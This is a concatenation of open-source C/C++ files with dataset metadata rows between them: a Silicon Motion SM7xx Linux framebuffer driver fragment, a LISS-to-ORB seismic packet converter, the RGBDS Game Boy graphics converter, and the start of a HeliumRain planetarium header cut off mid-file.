SIZE_SR30_SR75; i++) if ((i + 0x30) != 0x62 && (i + 0x30) != 0x6a && (i + 0x30) != 0x6b) smtc_seqw(i + 0x30, vgamode[j].init_sr30_sr75[i]); /* init SEQ register SR80 - SR93 */ for (i = 0; i < SIZE_SR80_SR93; i++) smtc_seqw(i + 0x80, vgamode[j].init_sr80_sr93[i]); /* init SEQ register SRA0 - SRAF */ for (i = 0; i < SIZE_SRA0_SRAF; i++) smtc_seqw(i + 0xa0, vgamode[j].init_sra0_sraf[i]); /* init Graphic register GR00 - GR08 */ for (i = 0; i < SIZE_GR00_GR08; i++) smtc_grphw(i, vgamode[j].init_gr00_gr08[i]); /* init Attribute register AR00 - AR14 */ for (i = 0; i < SIZE_AR00_AR14; i++) smtc_attrw(i, vgamode[j].init_ar00_ar14[i]); /* init CRTC register CR00 - CR18 */ for (i = 0; i < SIZE_CR00_CR18; i++) smtc_crtcw(i, vgamode[j].init_cr00_cr18[i]); /* init CRTC register CR30 - CR4D */ for (i = 0; i < SIZE_CR30_CR4D; i++) smtc_crtcw(i + 0x30, vgamode[j].init_cr30_cr4d[i]); /* init CRTC register CR90 - CRA7 */ for (i = 0; i < SIZE_CR90_CRA7; i++) smtc_crtcw(i + 0x90, vgamode[j].init_cr90_cra7[i]); } smtc_mmiowb(0x67, 0x3c2); /* set VPR registers */ writel(0x0, sfb->vp_regs + 0x0C); writel(0x0, sfb->vp_regs + 0x40); /* set data width */ m_nscreenstride = (sfb->width * sfb->fb->var.bits_per_pixel) / 64; switch (sfb->fb->var.bits_per_pixel) { case 8: writel(0x0, sfb->vp_regs + 0x0); break; case 16: writel(0x00020000, sfb->vp_regs + 0x0); break; case 24: writel(0x00040000, sfb->vp_regs + 0x0); break; case 32: writel(0x00030000, sfb->vp_regs + 0x0); break; } writel((u32)(((m_nscreenstride + 2) << 16) | m_nscreenstride), sfb->vp_regs + 0x10); } static void smtc_set_timing(struct smtcfb_info *sfb) { switch (sfb->chip_id) { case 0x710: case 0x712: case 0x720: sm7xx_set_timing(sfb); break; } } static void smtcfb_setmode(struct smtcfb_info *sfb) { switch (sfb->fb->var.bits_per_pixel) { case 32: sfb->fb->fix.visual = FB_VISUAL_TRUECOLOR; sfb->fb->fix.line_length = sfb->fb->var.xres * 4; sfb->fb->var.red.length = 8; sfb->fb->var.green.length = 8; sfb->fb->var.blue.length = 8; sfb->fb->var.red.offset = 16; sfb->fb->var.green.offset = 8; sfb->fb->var.blue.offset = 0; break; case 24: sfb->fb->fix.visual = FB_VISUAL_TRUECOLOR; sfb->fb->fix.line_length = sfb->fb->var.xres * 3; sfb->fb->var.red.length = 8; sfb->fb->var.green.length = 8; sfb->fb->var.blue.length = 8; sfb->fb->var.red.offset = 16; sfb->fb->var.green.offset = 8; sfb->fb->var.blue.offset = 0; break; case 8: sfb->fb->fix.visual = FB_VISUAL_PSEUDOCOLOR; sfb->fb->fix.line_length = sfb->fb->var.xres; sfb->fb->var.red.length = 3; sfb->fb->var.green.length = 3; sfb->fb->var.blue.length = 2; sfb->fb->var.red.offset = 5; sfb->fb->var.green.offset = 2; sfb->fb->var.blue.offset = 0; break; case 16: default: sfb->fb->fix.visual = FB_VISUAL_TRUECOLOR; sfb->fb->fix.line_length = sfb->fb->var.xres * 2; sfb->fb->var.red.length = 5; sfb->fb->var.green.length = 6; sfb->fb->var.blue.length = 5; sfb->fb->var.red.offset = 11; sfb->fb->var.green.offset = 5; sfb->fb->var.blue.offset = 0; break; } sfb->width = sfb->fb->var.xres; sfb->height = sfb->fb->var.yres; sfb->hz = 60; smtc_set_timing(sfb); } static int smtc_check_var(struct fb_var_screeninfo *var, struct fb_info *info) { /* sanity checks */ if (var->xres_virtual < var->xres) var->xres_virtual = var->xres; if (var->yres_virtual < var->yres) var->yres_virtual = var->yres; /* set valid default bpp */ if ((var->bits_per_pixel != 8) && (var->bits_per_pixel != 16) && (var->bits_per_pixel != 24) && (var->bits_per_pixel != 32)) var->bits_per_pixel = 16; return 0; } static int smtc_set_par(struct fb_info *info) { smtcfb_setmode(info->par); return 0; } static struct fb_ops smtcfb_ops = { .owner = THIS_MODULE, .fb_check_var = smtc_check_var, .fb_set_par = smtc_set_par, .fb_setcolreg = smtc_setcolreg, .fb_blank = smtc_blank, .fb_fillrect = cfb_fillrect, .fb_imageblit = cfb_imageblit, .fb_copyarea = cfb_copyarea, #ifdef __BIG_ENDIAN .fb_read = smtcfb_read, .fb_write = smtcfb_write, #endif }; /* * Unmap in the memory mapped IO registers */ static void smtc_unmap_mmio(struct smtcfb_info *sfb) { if (sfb && smtc_regbaseaddress) smtc_regbaseaddress = NULL; } /* * Map in the screen memory */ static int smtc_map_smem(struct smtcfb_info *sfb, struct pci_dev *pdev, u_long smem_len) { sfb->fb->fix.smem_start = pci_resource_start(pdev, 0); #ifdef __BIG_ENDIAN if (sfb->fb->var.bits_per_pixel == 32) sfb->fb->fix.smem_start += 0x800000; #endif sfb->fb->fix.smem_len = smem_len; sfb->fb->screen_base = sfb->lfb; if (!sfb->fb->screen_base) { dev_err(&pdev->dev, "%s: unable to map screen memory\n", sfb->fb->fix.id); return -ENOMEM; } return 0; } /* * Unmap in the screen memory * */ static void smtc_unmap_smem(struct smtcfb_info *sfb) { if (sfb && sfb->fb->screen_base) { iounmap(sfb->fb->screen_base); sfb->fb->screen_base = NULL; } } /* * We need to wake up the device and make sure its in linear memory mode. */ static inline void sm7xx_init_hw(void) { outb_p(0x18, 0x3c4); outb_p(0x11, 0x3c5); } static int smtcfb_pci_probe(struct pci_dev *pdev, const struct pci_device_id *ent) { struct smtcfb_info *sfb; struct fb_info *info; u_long smem_size = 0x00800000; /* default 8MB */ int err; unsigned long mmio_base; dev_info(&pdev->dev, "Silicon Motion display driver.\n"); err = pci_enable_device(pdev); /* enable SMTC chip */ if (err) return err; err = pci_request_region(pdev, 0, "sm7xxfb"); if (err < 0) { dev_err(&pdev->dev, "cannot reserve framebuffer region\n"); goto failed_regions; } sprintf(smtcfb_fix.id, "sm%Xfb", ent->device); info = framebuffer_alloc(sizeof(*sfb), &pdev->dev); if (!info) { dev_err(&pdev->dev, "framebuffer_alloc failed\n"); err = -ENOMEM; goto failed_free; } sfb = info->par; sfb->fb = info; sfb->chip_id = ent->device; sfb->pdev = pdev; info->flags = FBINFO_FLAG_DEFAULT; info->fbops = &smtcfb_ops; info->fix = smtcfb_fix; info->var = smtcfb_var; info->pseudo_palette = sfb->colreg; info->par = sfb; pci_set_drvdata(pdev, sfb); sm7xx_init_hw(); /* get mode parameter from smtc_scr_info */ if (smtc_scr_info.lfb_width != 0) { sfb->fb->var.xres = smtc_scr_info.lfb_width; sfb->fb->var.yres = smtc_scr_info.lfb_height; sfb->fb->var.bits_per_pixel = smtc_scr_info.lfb_depth; } else { /* default resolution 1024x600 16bit mode */ sfb->fb->var.xres = SCREEN_X_RES; sfb->fb->var.yres = SCREEN_Y_RES; sfb->fb->var.bits_per_pixel = SCREEN_BPP; } #ifdef __BIG_ENDIAN if (sfb->fb->var.bits_per_pixel == 24) sfb->fb->var.bits_per_pixel = (smtc_scr_info.lfb_depth = 32); #endif /* Map address and memory detection */ mmio_base = pci_resource_start(pdev, 0); pci_read_config_byte(pdev, PCI_REVISION_ID, &sfb->chip_rev_id); switch (sfb->chip_id) { case 0x710: case 0x712: sfb->fb->fix.mmio_start = mmio_base + 0x00400000; sfb->fb->fix.mmio_len = 0x00400000; smem_size = SM712_VIDEOMEMORYSIZE; #ifdef __BIG_ENDIAN sfb->lfb = ioremap(mmio_base, 0x00c00000); #else sfb->lfb = ioremap(mmio_base, 0x00800000); #endif sfb->mmio = (smtc_regbaseaddress = sfb->lfb + 0x00700000); sfb->dp_regs = sfb->lfb + 0x00408000; sfb->vp_regs = sfb->lfb + 0x0040c000; #ifdef __BIG_ENDIAN if (sfb->fb->var.bits_per_pixel == 32) { sfb->lfb += 0x800000; dev_info(&pdev->dev, "sfb->lfb=%p\n", sfb->lfb); } #endif if (!smtc_regbaseaddress) { dev_err(&pdev->dev, "%s: unable to map memory mapped IO!\n", sfb->fb->fix.id); err = -ENOMEM; goto failed_fb; } /* set MCLK = 14.31818 * (0x16 / 0x2) */ smtc_seqw(0x6a, 0x16); smtc_seqw(0x6b, 0x02); smtc_seqw(0x62, 0x3e); /* enable PCI burst */ smtc_seqw(0x17, 0x20); /* enable word swap */ #ifdef __BIG_ENDIAN if (sfb->fb->var.bits_per_pixel == 32) smtc_seqw(0x17, 0x30); #endif break; case 0x720: sfb->fb->fix.mmio_start = mmio_base; sfb->fb->fix.mmio_len = 0x00200000; smem_size = SM722_VIDEOMEMORYSIZE; sfb->dp_regs = ioremap(mmio_base, 0x00a00000); sfb->lfb = sfb->dp_regs + 0x00200000; sfb->mmio = (smtc_regbaseaddress = sfb->dp_regs + 0x000c0000); sfb->vp_regs = sfb->dp_regs + 0x800; smtc_seqw(0x62, 0xff); smtc_seqw(0x6a, 0x0d); smtc_seqw(0x6b, 0x02); break; default: dev_err(&pdev->dev, "No valid Silicon Motion display chip was detected!\n"); goto failed_fb; } /* can support 32 bpp */ if (15 == sfb->fb->var.bits_per_pixel) sfb->fb->var.bits_per_pixel = 16; sfb->fb->var.xres_virtual = sfb->fb->var.xres; sfb->fb->var.yres_virtual = sfb->fb->var.yres; err = smtc_map_smem(sfb, pdev, smem_size); if (err) goto failed; smtcfb_setmode(sfb); err = register_framebuffer(info); if (err < 0) goto failed; dev_info(&pdev->dev, "Silicon Motion SM%X Rev%X primary display mode %dx%d-%d Init Complete.\n", sfb->chip_id, sfb->chip_rev_id, sfb->fb->var.xres, sfb->fb->var.yres, sfb->fb->var.bits_per_pixel); return 0; failed: dev_err(&pdev->dev, "Silicon Motion, Inc. primary display init fail.\n"); smtc_unmap_smem(sfb); smtc_unmap_mmio(sfb); failed_fb: framebuffer_release(info); failed_free: pci_release_region(pdev, 0); failed_regions: pci_disable_device(pdev); return err; } /* * 0x710 (LynxEM) * 0x712 (LynxEM+) * 0x720 (Lynx3DM, Lynx3DM+) */ static const struct pci_device_id smtcfb_pci_table[] = { { PCI_DEVICE(0x126f, 0x710), }, { PCI_DEVICE(0x126f, 0x712), }, { PCI_DEVICE(0x126f, 0x720), }, {0,} }; MODULE_DEVICE_TABLE(pci, smtcfb_pci_table); static void smtcfb_pci_remove(struct pci_dev *pdev) { struct smtcfb_info *sfb; sfb = pci_get_drvdata(pdev); smtc_unmap_smem(sfb); smtc_unmap_mmio(sfb); unregister_framebuffer(sfb->fb); framebuffer_release(sfb->fb); pci_release_region(pdev, 0); pci_disable_device(pdev); } #ifdef CONFIG_PM static int smtcfb_pci_suspend(struct device *device) { struct pci_dev *pdev = to_pci_dev(device); struct smtcfb_info *sfb; sfb = pci_get_drvdata(pdev); /* set the hw in sleep mode use external clock and self memory refresh * so that we can turn off internal PLLs later on */ smtc_seqw(0x20, (smtc_seqr(0x20) | 0xc0)); smtc_seqw(0x69, (smtc_seqr(0x69) & 0xf7)); console_lock(); fb_set_suspend(sfb->fb, 1); console_unlock(); /* additionally turn off all function blocks including internal PLLs */ smtc_seqw(0x21, 0xff); return 0; } static int smtcfb_pci_resume(struct device *device) { struct pci_dev *pdev = to_pci_dev(device); struct smtcfb_info *sfb; sfb = pci_get_drvdata(pdev); /* reinit hardware */ sm7xx_init_hw(); switch (sfb->chip_id) { case 0x710: case 0x712: /* set MCLK = 14.31818 * (0x16 / 0x2) */ smtc_seqw(0x6a, 0x16); smtc_seqw(0x6b, 0x02); smtc_seqw(0x62, 0x3e); /* enable PCI burst */ smtc_seqw(0x17, 0x20); #ifdef __BIG_ENDIAN if (sfb->fb->var.bits_per_pixel == 32) smtc_seqw(0x17, 0x30); #endif break; case 0x720: smtc_seqw(0x62, 0xff); smtc_seqw(0x6a, 0x0d); smtc_seqw(0x6b, 0x02); break; } smtc_seqw(0x34, (smtc_seqr(0x34) | 0xc0)); smtc_seqw(0x33, ((smtc_seqr(0x33) | 0x08) & 0xfb)); smtcfb_setmode(sfb); console_lock(); fb_set_suspend(sfb->fb, 0); console_unlock(); return 0; } static SIMPLE_DEV_PM_OPS(sm7xx_pm_ops, smtcfb_pci_suspend, smtcfb_pci_resume); #define SM7XX_PM_OPS (&sm7xx_pm_ops) #else /* !CONFIG_PM */ #define SM7XX_PM_OPS NULL #endif /* !CONFIG_PM */ static struct pci_driver smtcfb_driver = { .name = "smtcfb", .id_table = smtcfb_pci_table, .probe = smtcfb_pci_probe, .remove = smtcfb_pci_remove, .driver.pm = SM7XX_PM_OPS, }; static int __init sm712fb_init(void) { #ifndef MODULE char *option = NULL; if (fb_get_options("sm712fb", &option)) return -ENODEV; if (option && *option) mode_option = option; #endif sm7xx_vga_setup(mode_option); return pci_register_driver(&smtcfb_driver); } module_init(sm712fb_init); static void __exit sm712fb_exit(void) { pci_unregister_driver(&smtcfb_driver); } module_exit(sm712fb_exit); MODULE_AUTHOR("Siliconmotion "); MODULE_DESCRIPTION("Framebuffer driver for SMI Graphic Cards"); MODULE_LICENSE("GPL");
27.292235
86
0.617176
2ff56110d6d5388c8ee1c734506364fbd53f72d7
2,853
c
C
bin/rt/liss2orb/liss2orbpkt.c
jreyes1108/antelope_contrib
be2354605d8463d6067029eb16464a0bf432a41b
[ "BSD-2-Clause", "MIT" ]
30
2015-02-20T21:44:29.000Z
2021-09-27T02:53:14.000Z
bin/rt/liss2orb/liss2orbpkt.c
jreyes1108/antelope_contrib
be2354605d8463d6067029eb16464a0bf432a41b
[ "BSD-2-Clause", "MIT" ]
14
2015-07-07T19:17:24.000Z
2020-12-19T19:18:53.000Z
bin/rt/liss2orb/liss2orbpkt.c
jreyes1108/antelope_contrib
be2354605d8463d6067029eb16464a0bf432a41b
[ "BSD-2-Clause", "MIT" ]
46
2015-02-06T16:22:41.000Z
2022-03-30T11:46:37.000Z
#include <stdlib.h> #include <unistd.h> #include "liss2orb.h" extern int UNSEED ( char *seed, int size, Steim **confp, double *time, double *samprate, int *nsamp, int **outp, int *datasz ); int liss2orbpkt ( char *seed, int size, char *database, int remap, char *srcname, double *time, char **packet, int *nbytes, int *bufsize ) { int zero = 0, two=2 ; int needed ; char *cp ; double samprate ; double calib, calper ; float fcalib, fcalper; char segtype[4] ; char sta[16], chan[16] ; static int *data, datasz=0 ; int nsamp ; Steim *conf ; Srcname parts ; int retcode = 0 ; if ( strncmp(seed, "000000 ", 64 ) == 0 ) { return -5 ; /* some kind of empty packet to keep connection open? */ } retcode = UNSEED ( seed, size, &conf, time, &samprate, &nsamp, &data, &datasz ) ; switch ( retcode ) { case 0: needed = 2*size ; SIZE_BUFFER ( char *, *packet, *bufsize, needed ) ; cp = *packet ; strcpy ( parts.src_net, conf->sdh.net ) ; strcpy ( parts.src_sta, conf->sdh.sta ) ; strcpy ( parts.src_chan, conf->sdh.chan ) ; strcpy ( parts.src_loc, conf->sdh.loc ) ; strcpy ( parts.src_suffix, "LISS" ) ; *parts.src_subcode = 0 ; N2H4 (cp, &zero, 1); cp += 4 ; N2H4 (cp, &two, 1); cp += 4 ; HI2NS (cp, &nsamp, 1); cp += 2 * 1; cp += 2; HD2NF (cp, &samprate, 1); cp += 4 ; if (database) { if (map_seed_netsta ( conf->sdh.net, conf->sdh.sta, sta ) < 0) { retcode = -1; break; } if (map_seed_chanloc ( sta, conf->sdh.chan, conf->sdh.loc, chan ) < 0) { retcode = -1; break; } } if ( remap ) { strcpy ( parts.src_sta, sta ) ; strcpy ( parts.src_chan, chan ) ; strcpy ( parts.src_loc, "" ) ; } join_srcname ( &parts, srcname) ; if (database) dbget_calib ( sta, chan, *time, database, &calib, &calper, segtype ); else { calib = 0.0; calper = -1.0; strcpy (segtype, "V"); } fcalib = calib ; N2H4 (cp, &fcalib, 1); cp += 4 * 1; fcalper = calper ; N2H4 (cp, &fcalper, 1); cp += 4 * 1; memcpy (cp, segtype, 1); cp += 1 * 1; memcpy (cp, seed, size) ; cp += size ; *nbytes = cp-*packet ; freesteim(conf) ; break ; case -2: /* got garbage */ if ( conf->sdh.samprate_factor != 0 || conf->sdh.samprate_multiplier != 0) { elog_complain( 0, "Can't decode this packet:" ) ; hexdump ( stderr, seed, size ) ; } break; default: case -1: elog_complain( 0, "failed to decode packet." ) ; hexdump ( stderr, seed, size ) ; break; case -3: /* unsupported formats */ case -4: /* log data */ break ; } return retcode ; }
24.384615
127
0.526463
2ff66aed8ca0174f70c948e735739c87dbf24511
8,074
c
C
src/gfx/gb.c
justMaku/rgbds
9e62eb5a16dc07dd3d183ee1a1ccb1d16253c2a0
[ "MIT" ]
null
null
null
src/gfx/gb.c
justMaku/rgbds
9e62eb5a16dc07dd3d183ee1a1ccb1d16253c2a0
[ "MIT" ]
null
null
null
src/gfx/gb.c
justMaku/rgbds
9e62eb5a16dc07dd3d183ee1a1ccb1d16253c2a0
[ "MIT" ]
null
null
null
/* * This file is part of RGBDS. * * Copyright (c) 2013-2018, stag019 and RGBDS contributors. * * SPDX-License-Identifier: MIT */ #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include "gfx/main.h" void transpose_tiles(struct GBImage *gb, int width) { uint8_t *newdata; int i; int newbyte; newdata = calloc(gb->size, 1); for (i = 0; i < gb->size; i++) { newbyte = i / (8 * depth) * width * 8 * depth; newbyte = newbyte % gb->size + 8 * depth * (newbyte / gb->size) + i % (8 * depth); newdata[newbyte] = gb->data[i]; } free(gb->data); gb->data = newdata; } void raw_to_gb(const struct RawIndexedImage *raw_image, struct GBImage *gb) { int x, y, byte; uint8_t index; for (y = 0; y < raw_image->height; y++) { for (x = 0; x < raw_image->width; x++) { index = raw_image->data[y][x]; index &= (1 << depth) - 1; byte = y * depth + x / 8 * raw_image->height / 8 * 8 * depth; gb->data[byte] |= (index & 1) << (7 - x % 8); if (depth == 2) { gb->data[byte + 1] |= (index >> 1) << (7 - x % 8); } } } if (!gb->horizontal) transpose_tiles(gb, raw_image->width / 8); } void output_file(const struct Options *opts, const struct GBImage *gb) { FILE *f; f = fopen(opts->outfile, "wb"); if (!f) err(1, "Opening output file '%s' failed", opts->outfile); fwrite(gb->data, 1, gb->size - gb->trim * 8 * depth, f); fclose(f); } int get_tile_index(uint8_t *tile, uint8_t **tiles, int num_tiles, int tile_size) { int i, j; for (i = 0; i < num_tiles; i++) { for (j = 0; j < tile_size; j++) { if (tile[j] != tiles[i][j]) break; } if (j >= tile_size) return i; } return -1; } uint8_t reverse_bits(uint8_t b) { uint8_t rev = 0; rev |= (b & 0x80) >> 7; rev |= (b & 0x40) >> 5; rev |= (b & 0x20) >> 3; rev |= (b & 0x10) >> 1; rev |= (b & 0x08) << 1; rev |= (b & 0x04) << 3; rev |= (b & 0x02) << 5; rev |= (b & 0x01) << 7; return rev; } void xflip(uint8_t *tile, uint8_t *tile_xflip, int tile_size) { int i; for (i = 0; i < tile_size; i++) tile_xflip[i] = reverse_bits(tile[i]); } void yflip(uint8_t *tile, uint8_t *tile_yflip, int tile_size) { int i; for (i = 0; i < tile_size; i++) tile_yflip[i] = tile[(tile_size - i - 1) ^ (depth - 1)]; } /* * get_mirrored_tile_index looks for `tile` in tile array `tiles`, also * checking x-, y-, and xy-mirrored versions of `tile`. If one is found, * `*flags` is set according to the type of mirroring and the index of the * matched tile is returned. If no match is found, -1 is returned. */ int get_mirrored_tile_index(uint8_t *tile, uint8_t **tiles, int num_tiles, int tile_size, int *flags) { int index; uint8_t *tile_xflip; uint8_t *tile_yflip; index = get_tile_index(tile, tiles, num_tiles, tile_size); if (index >= 0) { *flags = 0; return index; } tile_yflip = malloc(tile_size); yflip(tile, tile_yflip, tile_size); index = get_tile_index(tile_yflip, tiles, num_tiles, tile_size); if (index >= 0) { *flags = YFLIP; free(tile_yflip); return index; } tile_xflip = malloc(tile_size); xflip(tile, tile_xflip, tile_size); index = get_tile_index(tile_xflip, tiles, num_tiles, tile_size); if (index >= 0) { *flags = XFLIP; free(tile_yflip); free(tile_xflip); return index; } yflip(tile_xflip, tile_yflip, tile_size); index = get_tile_index(tile_yflip, tiles, num_tiles, tile_size); if (index >= 0) *flags = XFLIP | YFLIP; free(tile_yflip); free(tile_xflip); return index; } void create_mapfiles(const struct Options *opts, struct GBImage *gb, struct Mapfile *tilemap, struct Mapfile *attrmap) { int i, j; int gb_i; int tile_size; int max_tiles; int num_tiles; int index; int flags; int gb_size; uint8_t *tile; uint8_t **tiles; tile_size = sizeof(uint8_t) * depth * 8; gb_size = gb->size - (gb->trim * tile_size); max_tiles = gb_size / tile_size; /* If the input image doesn't fill the last tile, increase the count. */ if (gb_size > max_tiles * tile_size) max_tiles++; tiles = calloc(max_tiles, sizeof(uint8_t *)); num_tiles = 0; if (*opts->tilemapfile) { tilemap->data = calloc(max_tiles, sizeof(uint8_t)); tilemap->size = 0; } if (*opts->attrmapfile) { attrmap->data = calloc(max_tiles, sizeof(uint8_t)); attrmap->size = 0; } gb_i = 0; while (gb_i < gb_size) { flags = 0; tile = malloc(tile_size); for (i = 0; i < tile_size; i++) { tile[i] = gb->data[gb_i]; gb_i++; } if (opts->unique) { if (opts->mirror) { index = get_mirrored_tile_index(tile, tiles, num_tiles, tile_size, &flags); } else { index = get_tile_index(tile, tiles, num_tiles, tile_size); } if (index < 0) { index = num_tiles; tiles[num_tiles] = tile; num_tiles++; } } else { index = num_tiles; tiles[num_tiles] = tile; num_tiles++; } if (*opts->tilemapfile) { tilemap->data[tilemap->size] = index; tilemap->size++; } if (*opts->attrmapfile) { attrmap->data[attrmap->size] = flags; attrmap->size++; } } if (opts->unique) { free(gb->data); gb->data = malloc(tile_size * num_tiles); for (i = 0; i < num_tiles; i++) { tile = tiles[i]; for (j = 0; j < tile_size; j++) gb->data[i * tile_size + j] = tile[j]; } gb->size = i * tile_size; } for (i = 0; i < num_tiles; i++) free(tiles[i]); free(tiles); } void output_tilemap_file(const struct Options *opts, const struct Mapfile *tilemap) { FILE *f; f = fopen(opts->tilemapfile, "wb"); if (!f) err(1, "Opening tilemap file '%s' failed", opts->tilemapfile); fwrite(tilemap->data, 1, tilemap->size, f); fclose(f); if (opts->tilemapout) free(opts->tilemapfile); } void output_attrmap_file(const struct Options *opts, const struct Mapfile *attrmap) { FILE *f; f = fopen(opts->attrmapfile, "wb"); if (!f) err(1, "Opening attrmap file '%s' failed", opts->attrmapfile); fwrite(attrmap->data, 1, attrmap->size, f); fclose(f); if (opts->attrmapout) free(opts->attrmapfile); } /* * based on the Gaussian-like curve used by SameBoy since commit * 65dd02cc52f531dbbd3a7e6014e99d5b24e71a4c (Oct 2017) * with ties resolved by comparing the difference of the squares. */ static int reverse_curve[] = { 0, 0, 1, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 30, 30, 31, }; void output_palette_file(const struct Options *opts, const struct RawIndexedImage *raw_image) { FILE *f; int i, color; uint8_t cur_bytes[2]; f = fopen(opts->palfile, "wb"); if (!f) err(1, "Opening palette file '%s' failed", opts->palfile); for (i = 0; i < raw_image->num_colors; i++) { int r = raw_image->palette[i].red; int g = raw_image->palette[i].green; int b = raw_image->palette[i].blue; if (opts->colorcurve) { g = (g * 4 - b) / 3; if (g < 0) g = 0; r = reverse_curve[r]; g = reverse_curve[g]; b = reverse_curve[b]; } else { r >>= 3; g >>= 3; b >>= 3; } color = b << 10 | g << 5 | r; cur_bytes[0] = color & 0xFF; cur_bytes[1] = color >> 8; fwrite(cur_bytes, 2, 1, f); } fclose(f); if (opts->palout) free(opts->palfile); }
22.9375
80
0.591405
2ff7cb8fc3e9e928c3831983663f7c464c9a2071
126
h
C
BauCua/BauCua/system.h
vhnam/Basic
16429a701ae26df0a7d8973a129711ff87966727
[ "MIT" ]
null
null
null
BauCua/BauCua/system.h
vhnam/Basic
16429a701ae26df0a7d8973a129711ff87966727
[ "MIT" ]
null
null
null
BauCua/BauCua/system.h
vhnam/Basic
16429a701ae26df0a7d8973a129711ff87966727
[ "MIT" ]
null
null
null
#include <iostream> #include <string> #include <map> #include <list> #include <ctime> #include <cstdlib> using namespace std;
15.75
20
0.730159
2ff8426df9ceaaa448c9706830b2a1f15d17b763
6,887
h
C
Source/HeliumRain/Game/Planetarium/FlareSimulatedPlanetarium.h
VonHirsch/HeliumRain
67497bae6e642dd4ac9294460ab1f78f38bc890b
[ "BSD-3-Clause" ]
6
2020-03-29T00:55:50.000Z
2021-07-05T06:49:10.000Z
Source/HeliumRain/Game/Planetarium/FlareSimulatedPlanetarium.h
s-ariga/HeliumRain
fdca65f1e564477d5a84e3362317b6905ca860e4
[ "BSD-3-Clause" ]
null
null
null
Source/HeliumRain/Game/Planetarium/FlareSimulatedPlanetarium.h
s-ariga/HeliumRain
fdca65f1e564477d5a84e3362317b6905ca860e4
[ "BSD-3-Clause" ]
null
null
null
#pragma once #include "Object.h" #include "FlareSimulatedPlanetarium.generated.h" class AFlareGame; struct FPreciseMath { static inline double Sin( double Value ) { return sin(Value); } static inline double Cos( double Value ) { return cos(Value); } static inline double Tan( double Value ) { return tan(Value); } static inline double Asin( double Value ) { return asin(Value); } static inline double Atan( double Value ) { return atan(Value); } static inline double Sqrt( double Value ) { return sqrt(Value); } /** * Computes the sine and cosine of a scalar float. * * @param ScalarSin Pointer to where the Sin result should be stored * @param ScalarCos Pointer to where the Cos result should be stored * @param Value input angles */ static inline void SinCos( double* ScalarSin, double* ScalarCos, double Value ) { *ScalarSin = sin(Value); *ScalarCos = cos(Value); } /** * Converts degrees to radians. * @param DegVal Value in degrees. * @return Value in radians. */ static inline double DegreesToRadians(double const& DegVal) { return DegVal * (PI / 180.); } /** Computes a fully accurate inverse square root */ static inline double InvSqrt( double F ) { return 1.0 / sqrt( F ); } /** Utility to ensure angle is between +/- 180 degrees by unwinding. */ static double UnwindDegrees(double A) { while(A > 180.) { A -= 360.; } while(A < -180.) { A += 360.; } return A; } }; /** * A point or direction in 3d space. */ struct FPreciseVector { double X; double Y; double Z; /** A zero vector (0,0,0) */ static const FPreciseVector ZeroVector; inline FPreciseVector() : X(0), Y(0), Z(0) { } inline FPreciseVector(double InF) : X(InF), Y(InF), Z(InF) { } inline FPreciseVector( double InX, double InY, double InZ ) : X(InX), Y(InY), Z(InZ) { } inline FPreciseVector GetUnsafeNormal() const { const double Scale = FPreciseMath::InvSqrt(X*X+Y*Y+Z*Z); return FPreciseVector( X*Scale, Y*Scale, Z*Scale ); } inline FPreciseVector RotateAngleAxis( const double AngleDeg, const FPreciseVector& Axis ) const { double S, C; FPreciseMath::SinCos(&S, &C, FPreciseMath::DegreesToRadians(AngleDeg)); const double XX = Axis.X * Axis.X; const double YY = Axis.Y * Axis.Y; const double ZZ = Axis.Z * Axis.Z; const double XY = Axis.X * Axis.Y; const double YZ = Axis.Y * Axis.Z; const double ZX = Axis.Z * Axis.X; const double XS = Axis.X * S; const double YS = Axis.Y * S; const double ZS = Axis.Z * S; const double OMC = 1.f - C; return FPreciseVector( (OMC * XX + C ) * X + (OMC * XY - ZS) * Y + (OMC * ZX + YS) * Z, (OMC * XY + ZS) * X + (OMC * YY + C ) * Y + (OMC * YZ - XS) * Z, (OMC * ZX - YS) * X + (OMC * YZ + XS) * Y + (OMC * ZZ + C ) * Z ); } inline double Size() const { return FPreciseMath::Sqrt( X*X + Y*Y + Z*Z ); } inline FString ToString() const { return FString::Printf(TEXT("X=%3.3f Y=%3.3f Z=%3.3f"), X, Y, Z); } inline FVector ToVector() const { return FVector(X, Y, Z); } inline FPreciseVector operator*( double Scale ) const { return FPreciseVector( X * Scale, Y * Scale, Z * Scale ); } inline FPreciseVector operator+( const FPreciseVector& V ) const { return FPreciseVector( X + V.X, Y + V.Y, Z + V.Z ); } inline FPreciseVector operator-( const FPreciseVector& V ) const { return FPreciseVector( X - V.X, Y - V.Y, Z - V.Z ); } inline FPreciseVector operator-() const { return FPreciseVector( -X, -Y, -Z ); } }; /** * Multiplies a vector by a scaling factor. * * @param Scale Scaling factor. * @param V Vector to scale. * @return Result of multiplication. */ inline FPreciseVector operator*( double Scale, const FPreciseVector& V ) { return V.operator*( Scale ); } /** Celestial body structure */ struct FFlareCelestialBody { /*---------------------------------------------------- Static parameters ----------------------------------------------------*/ /** Name */ FText Name; /** Name */ FName Identifier; /** Mass of the celestial body. In kg */ double Mass; /** Radius of the celestial body. In km */ double Radius; /** Altitude of the outer part of the rings. In km */ double RingsOuterAltitude; /** Orbit distance. 